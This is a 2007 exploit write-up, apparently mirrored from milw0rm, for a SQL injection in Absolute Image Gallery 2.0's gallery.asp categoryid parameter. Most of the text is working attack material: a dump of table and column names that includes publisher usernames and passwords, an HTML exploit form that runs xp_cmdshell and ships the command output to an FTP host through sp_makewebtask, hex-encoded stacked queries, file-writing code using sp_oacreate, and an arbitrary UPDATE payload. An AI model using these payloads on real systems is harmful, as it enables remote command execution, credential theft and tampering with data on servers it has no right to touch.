Absolute Image Gallery 2.0 (gallery.php categoryid) SQL Injection Vuln

🗓️ 15 Mar 2007 00:00:00Reported by RootType
Absolute Image Gallery 2.0 SQL Injection Vuln 2007-03-1

                                                Absolute Image Gallery Gallery.ASP (categoryid) MSSQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-15}

Product / Vendor :

Absolute Image Gallery

http://www.xigla.com/absoluteig/

Bug :

http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-SQL Inj-

---------------------------------------------------------------------------------------------------------------------------------------------

Script Table/Colon Name : 

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : articlefiles

fileid
filetitle
filename
articleid
filetype
filecomment
urlfile

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : articles

articleid
posted
lastupdate
headline
headlinedate
startdate
enddate
source
summary
articleurl
article
status
autoformat
publisherid
clicks
editor
relatedid

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : iArticlesZones

articleid
zoneid

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : plugins

pluginid
pplname
pplfile
ppldescription

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : PPL1reviews

reviewid
articleid
name
reviewdate
review
comments
isannonymous

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : publishers

publisherid
name
username
password
email
additional
plevel

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : publisherszones

publisherid
zoneid

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : xlaAIGcategories

categoryid
catname
catdesc
supercatid
lastupdate
catpath
images
allowupload

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : xlaAIGimages

imageid
imagename
imagedesc
imagefile
imagedate
imagesize
totalrating
totalreviews
hits
categoryid
status
uploadedby
additionalinfo
embedhtml
keywords
copyright
credit
source
datecreated
email
infourl

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : xlaAIGpostcards

dateposted
postcardid
imageid
bgcolor
bordercolor
fonttype
fontcolor
recipientname
recipientemail
greeting
bgsound
sendername
senderemail
sendermsg

---------------------------------------------------------------------------------------------------------------------------------------------

Table Name : zones

zonename
description
template
articlespz
zonefont
fontsize
fontcolor
showsource
showsummary
showdates
showtn
textalign
displayhoriz
cellcolor
targetframe

---------------------------------------------------------------------------------------------------------------------------------------------

MSSQL CMD Injection Exploit(For DBO Users) :

&lt;title&gt;Absolute Image Gallery MSSQL CMD Injection Exploit&lt;/title&gt;
&lt;body bgcolor=&quot;#000000&quot;&gt;
&lt;form name=&quot;Form&quot; method=&quot;get&quot; action=&quot;http://localhost/script/gallery.asp&quot;&gt;
&lt;center&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;Absolute Image Gallery MSSQL CMD Injection Exploit&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;/center&gt;
&lt;center&gt;&lt;font face=&quot;Verdana&quot; size=&quot;1&quot; color=&quot;#00FF00&quot;&gt;&lt;b&gt;Note : For DBO Users&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;/center&gt;
&lt;center&gt;&lt;font face=&quot;Verdana&quot; size=&quot;1&quot; color=&quot;#00FF00&quot;&gt;&lt;b&gt;Example :&lt;/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;/center&gt;
  &lt;tr&gt;
    &lt;center&gt;&lt;img src=&quot;http://img382.imageshack.us/img382/7867/dirav8.jpg&quot;&gt;&lt;/center&gt;&lt;br&gt;
    &lt;center&gt;&lt;td align=&quot;right&quot;&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;#00FF00&quot;&gt;Command Exec :&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;&lt;input name=&quot;action=viewimage&amp;categoryid=-1&quot; type=&quot;text&quot; value=&quot;;exec master..xp_cmdshell 'dir c:\ &gt; cmd.txt';CREATE TABLE cmd (txt varchar(8000));BULK INSERT cmd FROM 'cmd.txt';exec+sp_makewebtask+'ftp://127.0.0.1/public/file.txt','select+*+from+cmd';--&quot; class=&quot;inputbox&quot; style=&quot;color: #000000&quot; style=&quot;width:300px; &quot;&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td align=&quot;right&quot;&gt;&lt;font face=&quot;Arial&quot; size=&quot;1&quot; color=&quot;#00FF00&quot;&gt;Search Board&lt;/td&gt;
    &lt;td&gt;&amp;nbsp;&lt;/td&gt;
    &lt;td&gt;
      &lt;select name=&quot;&quot;&gt;
        &lt;option value=&quot;0&quot;&gt;(CMD)&lt;/option&gt;
      &lt;/select&gt;&amp;nbsp;&lt;br&gt;&lt;br&gt;
      &lt;input type=&quot;submit&quot; value=&quot;Apply&quot;&gt;&lt;/center&gt;
    &lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;
&lt;center&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;UniquE-Key{UniquE-Cracker}&lt;/b&gt;&lt;/font&gt;
&lt;br&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;[email protected]&lt;/b&gt;&lt;/font&gt;
&lt;br&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;http://UniquE-Key.ORG&lt;/b&gt;&lt;/font&gt;&lt;/center&gt;

---------------------------------------------------------------------------------------------------------------------------------------------

Code Injection(For DBO Users) :

Add Table : http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1;Create+table+code+(txt+varchar(8000),id+int);--

ASCII Code Add Database : http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1;declare+@q+varchar(8000)+select+@q=0x696E7365727420696E746F2066736F373737287478742C6964292076616C7565732827272C3129+exec(@q);--

Code Injection : http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1;declare+@txt+varchar(8000);select+@txt+=+(select+top+1+txt+from+code+where+id+=+1);declare+@o+int,+@f+int,+@t+int,+@ret+int+exec+sp_oacreate+'scripting.filesystemobject',+@o+out+exec+sp_oamethod+@o,+'createtextfile',+@f+out,+'c:/host',+1+exec+@ret+=+sp_oamethod+@f,+'writeline',+NULL,+@txt;--

---------------------------------------------------------------------------------------------------------------------------------------------

UPDATE(ALL users) :

http://localhost/script/gallery.asp?action=viewimage&amp;categoryid=-1 UPDATE table SET colon = 'x';--

---------------------------------------------------------------------------------------------------------------------------------------------

Tested :

Absolute Image Gallery 2.0

Vulnerable :

Absolute Image Gallery 2.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

# milw0rm.com [2007-03-15]
15 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1